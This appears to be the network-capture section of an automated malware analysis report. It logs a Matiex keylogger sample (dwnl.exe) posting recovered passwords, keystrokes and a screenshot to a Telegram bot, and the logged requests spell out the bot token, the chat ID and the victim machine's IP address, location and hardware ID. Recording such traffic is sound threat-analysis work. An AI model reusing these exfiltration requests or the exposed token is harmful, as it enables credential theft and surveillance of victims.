Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49798	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:04 UTC	1643	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680338c3a23 Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:04 UTC	1643	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 33 38 63 33 61 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d97680338c3a23Content-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:04 UTC	1644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:04 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:04 UTC	1645	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 34 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":292,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507524,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49799	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:04 UTC	1645	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768033b00042 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:04 UTC	1645	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 33 62 30 30 30 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768033b00042Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:04 UTC	1646	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:04 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:04 UTC	1647	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 34 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":293,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507524,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49800	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:04 UTC	1647	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768033dfab52 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:04 UTC	1648	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 33 64 66 61 62 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d9768033dfab52Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:04 UTC	1664	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:04 UTC	1680	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:04 UTC	1696	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:04 UTC	1712	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:04 UTC	1728	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:04 UTC	1744	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:04 UTC	1760	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:04 UTC	1776	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:04 UTC	1792	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:04 UTC	1808	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:04 UTC	1824	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:04 UTC	1840	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:04 UTC	1856	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 